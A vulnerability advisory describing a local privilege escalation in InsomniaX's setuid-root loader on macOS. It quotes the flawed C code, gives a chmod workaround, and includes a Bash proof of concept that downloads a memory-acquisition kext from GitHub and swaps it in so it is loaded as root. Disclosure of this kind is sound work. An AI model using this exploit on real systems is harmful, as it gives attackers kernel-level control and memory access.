Abstract
It was found that the loader
application bundled with InsomniaX can be used to load arbitrary Kernel Extensions (kext
). The loader
is normally used to load a kext file that is needed to disable the Lid Sleep. A flaw has been found in the loader
that allows a local attacker to load (or unload) any arbitrary kext file.
See also
Tested versions
This issue was successfully verified on InsomniaX version 2.1.8.
Fix
There is currently no fix available. The author of InsomniaX reports that InsomniaX is no longer supported. As a workaround, remove the setuid
bit from the loader
file. Doing so will prevent users from disabling the Lid Sleep.
sudo chmod u-s /Applications/InsomniaX.app/Contents/Resources/loader
Introduction
InsomniaX disables the sleep mode on Macs. InsomniaX is bundled with a loader
application that is installed as setuid root
. The loader
is used to load a Kernel Extension (kext
) that is needed to disable the Lid Sleep. A flaw has been found in the loader
that allows a local attacker to load (or unload) any arbitrary kext file and thus allows for privilege escalation.
Details
This issue exists because InsomniaX tries to load the kext file form the user's home folder. When started the loader first changes the owner of the kext file to user root
and group wheel
. This is required or else the kext loader will refuse to load the kext. After changing the owner, loader
will call kextload
with the path set to the kext located in the user's home directory. Replacing InsomniaX' kext with a different one will cause the loader
to load this kext instead.
struct passwd *pw = getpwuid(getuid());
char *homedir = pw->pw_dir;
**char *supportPath = strcat(homedir, "/Library/Application Support/InsomniaX");
const char *kextPath = strcat(supportPath, "/Insomnia_r11.kext");**
switch(myCommand->authorizedCommandId)
{
case kMyAuthorizedLoad: {
/* Child code. */
if(fork() == 0) {
#ifdef DEBUG
fprintf(stderr, "CHOWN\n");
#endif
dup2(2,1);
**execl("/usr/sbin/chown", "chown", "-R", "root:wheel", kextPath, NULL);**
}
/* Parent code. */
else {
wait(&status);
/* Child code. */
if(fork() == 0) {
#ifdef DEBUG
fprintf(stderr, "KEXTLOAD\n");
#endif
dup2(2,1);
**execl("/sbin/kextload", "kextload", kextPath, NULL);**
}
This issue can be demonstrated using the following steps:
- start InsomniaX
- run the Bash script below
- click on the InsomniaX icon in the menu bar and select Disable Lid Sleep
- run
kextstat -l -b com.google.MacPmem
to check if the kext is loaded
#!/bin/bash
mv ~/Library/Application\ Support/InsomniaX ~/Library/Application\ Support/InsomniaX.O
mkdir -p ~/Library/Application\ Support/InsomniaX
cd ~/Library/Application\ Support/InsomniaX
curl -L https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip --output osxpmem-2.1.post4.zip
unzip osxpmem-2.1.post4.zip
mv osxpmem.app/MacPmem.kext/ Insomnia_r11.kext